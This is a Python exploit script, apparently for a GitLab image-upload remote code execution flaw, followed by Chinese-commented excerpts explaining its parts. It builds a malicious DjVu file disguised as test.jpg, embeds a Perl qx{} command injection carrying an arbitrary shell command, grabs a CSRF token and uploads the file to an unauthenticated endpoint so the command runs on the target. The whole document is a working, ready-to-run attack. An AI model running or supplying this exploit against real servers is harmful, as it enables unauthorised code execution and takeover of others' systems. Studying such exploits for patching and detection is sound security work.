1
import sys
2
import re
3
import requests
4

5
target = sys.argv[1]
6
command = sys.argv[2]
7
session = requests.session()
8
CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />')
9

10
def get_payload(command):
11
    rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
12
    rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
13
    rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61'
14
    rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder='big', signed=True)
15
    rce_payload += b'\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b'
16
    rce_payload += command.encode()
17
    rce_payload += b'\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a'
18
    return rce_payload
19

20
def csrf_token():
21
    response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
22
    g = CSRF_PATTERN.search(response.content)
23
    assert g, 'No CSRF Token found'
24
    return g.group(1).decode()
25

26
def exploit():
27
    files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
28
    session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})
29

30
if __name__ == '__main__':
31
    exploit()
32
    print('finish test')

1
def get_payload(command):
2
    # 1. 写入 DjVu 文件标识头 (Magic Number)
3
    # \x41\x54\x26\x54... 对应字符串 "AT&TFORM"
4
    rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
5

6
    # 2. 计算并写入长度。to_bytes 将数字转为机器能读的 4 字节二进制
7
    rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
8

9
    # 3. 写入 DjVu 的特定结构数据 (DJVUINFO 块等)
10
    rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f...'
11

12
    # 4. 关键注入点：利用 qx{} 语法
13
    # \x71\x78\x7b 对应 Perl 中的 "qx{"。在 Perl 里，qx{cmd} 会直接运行系统命令。
14
    rce_payload += b'...(省略部分)... \x71\x78\x7b'
15
    rce_payload += command.encode() # 插入命令
16
    rce_payload += b'\x7d \x20 \x2e ...' # \x7d 对应 "}"，闭合命令
17

18
    return rce_payload

1
def csrf_token():
2
    # 访问登录页面
3
    response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
4
    # 使用正则表达式 re.compile 寻找 HTML 里的 csrf-token 标签
5
    g = CSRF_PATTERN.search(response.content)
6
    # 如果没找到，脚本会报错中断 (assert)
7
    assert g, 'No CSRF Token found'
8
    return g.group(1).decode()

1
def exploit():
2
    # 伪装文件名叫 test.jpg，类型叫 image/jpeg
3
    files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
4
    # 发送 POST 请求到受影响的未授权接口 /uploads/user
5
    session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})